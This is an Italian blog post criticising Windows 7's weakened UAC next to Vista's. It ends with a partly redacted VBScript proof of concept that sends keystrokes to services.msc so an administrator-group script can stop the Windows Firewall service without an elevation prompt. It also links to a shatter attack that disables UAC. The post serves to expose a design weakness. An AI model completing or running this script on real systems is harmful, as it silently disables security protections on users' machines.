Windows 7 UAC - Addendum

 

Cito da un articolo di Mark Russinovich da Technet Magazine (luglio 2009)

http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx#id0560025

"As we've stated since before the launch of Windows Vista, the primary purpose of elevation is not security, though, it's convenience: if users had to switch accounts to perform administrative operations, either by logging into or Fast User Switching to an administrative account, most users would switch once and not switch back"

:-)

In Windows 2000 e XP per accedere da standard user alle applet del pannello di controllo come amministratore (per le configurazioni di rete, modem, etc), avevo sul desktop shortcut del tipo:

runas /u:Administrator  "RunDLL32.exe SHELL32.DLL,Control_RunDLL <nome applet>.cpl,,0"

Tutta questo lavoro ha pagato (non vedo virus da quasi 10 anni ormai), ma che fatica!

Escludendo che l'utente medio potesse fare cose del genere, la portata innovativa di UAC era notevole, peccato che non sia stata percepita per ciò che era...  

Ormai purtroppo un gioiello come Vista (UAC è solo una delle tante eccellenti innovazioni) nel sentire comune verrà relegato nel dimenticatoio assieme a mostri tipo "Millennium". :-) 

Naturalmente ci sono state delle discrete minchiate che hanno portato a questo:

E' innegabile che le configurazioni di default di Superfetch e Windows Search abbiano fatto disastri (i fabbricanti di meccaniche per HD avranno ringraziato :-) )

Fortunatamente il marketing ha prontamente ribattezzato la versione 6.1 (poco più di un service pack rispetto alla 6.0) in "Windows 7": Vista è morto, lunga vita a Vista!

 

Nota: dopo qualche mese di test in tutte le salse ho fatto l'upgrade del mio notebook di "lavoro" a Windows 7 RC. E' innegabilmente un gioiello eccezionalmente stabile per essere una RC, ma il sistema va tanto quanto Vista dopo i doverosi tweak eseguiti all'epoca. 

 

Windows 7 UAC - Rivoglio Vista!!

Chi sì è abituato a usare utenti non amministrativi sul proprio PC (dai tempi di Windows 2000  mai preso un solo virus, guarda caso), ha salutato con grande gioia l'avvento di UAC con Vista.

Il grosso dell'utenza notoriamente non l'ha pensata nello stesso modo, pare

Francamente non capisco perchè nessuno si lamenta di sudo su Mac OS X e su Linux, che tra le altre non include un meccanismo di execution context basato su token, ma si limita ad eseguire l'applicazione come root, con relativa richiesta di password per il sudoer.

La risposta è semplice: è una questione culturale. Nessun utente Unix si sognerebbe di cazzeggiare sul web o leggere la posta loggato come root, ma tant'è, l'utente Windows a quanto pare pretende "Ovo, galina e cul caldo" (così almeno si dice da queste parti).

Windows 7 cerca di bilanciarsi e fornisce all'utente la scelta di vari livelli tra gli estremi "Martella zebedei stile Vista" e "Lasciami fare stile XP che poi me la prendo con l'antivirus".

Il risultato IMHO scontenterà tutti. mentre con Vista era tutto sommato possibile usare in sicurezza il PC con un utente amministratore (fidandosi ciecamente di UAC), ora non è più possibile. Lo UAC di Windows 7 è molto più blando anche in termini di security, ma questo l'utente di sicuro non lo sa.

Il rischio ora è che l'utente utilizzi un utente amministratore, "perchè tanto c'è UAC"!!

Se poi con un banale shatter attack è addirittura possibile disattivare UAC ("problemino" emerso ai tempi della prima beta): http://www.istartedsomething.com/20090130/uac-security-flaw-windows-7-beta-proof/

Venendo al punto di questo post, peggiora anche l'usabilità per i pochi masochisti che adorano UAC e per giunta utilizzano utenti non amministrativi (preferendo anche avere le terga parate da ACL & c.), in Windows 7 RC nel tentativo di accedere al Device Manager compare la seguente message box:

Da notare che i settangi di UAC sono a palla. Morale: come ai vecchi tempi di XP: da un command prompt amministrativo: devmgmt  e via. Stà a vedere che toccherà anche riciclare i runas su rundll32 per accedere alle applet del control panel.

La stessa cosa capita con altri snap in MMC (services.msc, etc).  Non sarebbe male se l'idea fosse stata quella di permettere una modalità "view only" per standard user, richiedendo la successiva elevazione per le modifiche, ma non è così.

Naturalmente questo non è solo un problema di usabilità, il problema serio è il (noto) rovescio della medaglia:

Eseguendo lo stesso snap-in da un prompt non elevato con utente amministratore (ad es.: via runas /u:pippo <command>), ecco che l'utente può fare macelli senza richiesta di elevazione.

Vero che lo può fare solo codice firmato MS, nelle directory sicure a marchiato per l'auto-elevation nel manifest o nel registry per gli oggetti COM (quindi ad es. devenv o net start <servizio> non funzia), ma basta qualche sendkeys per ottenere il risultato.

Addendum:

una semplice proof of concept, utilizzando VBScript (basato per giunta sul "famigerato" script di Rafael Rivera citato sopra, come farebbe un qualunque script kiddie :-) ).

Obiettivo: fermare il servizio Windows Firewall, tramine lo snap in "services.msc" con qualche SendKeys. Naturalmente l'utente deve essere membro di Administrators.

Disclaimer: Si tratta di una semplice proof of concept (ce ne fosse bisogno), don't try this at home! (o meglio, out of your own PC :-) ) 

 

Set WshShell = WScript.CreateObject("WScript.Shell")

'// Apri Start menu
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)

'// Cerca il device manager
WshShell.SendKeys("services.msc")
WScript.Sleep(2000)

'// Primo risulato della lista
WshShell.SendKeys("{ENTER}")

WScript.Sleep(2000)

'// Windows Firewall
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("W")
WshShell.SendKeys("i")
WshShell.SendKeys("n")

**Righe rimosse di proposito (si sa mai che poi qualcuno reclami), completare la sequenza di caratteri *

WScript.Sleep(2000)

'// menu "Action" -> "Stop"
WshShell.SendKeys("%A")
WshShell.SendKeys("o")

Quando UAC era UAC queste cose non succedevano, anche se non aveva il proposito di essere easustivo! :-)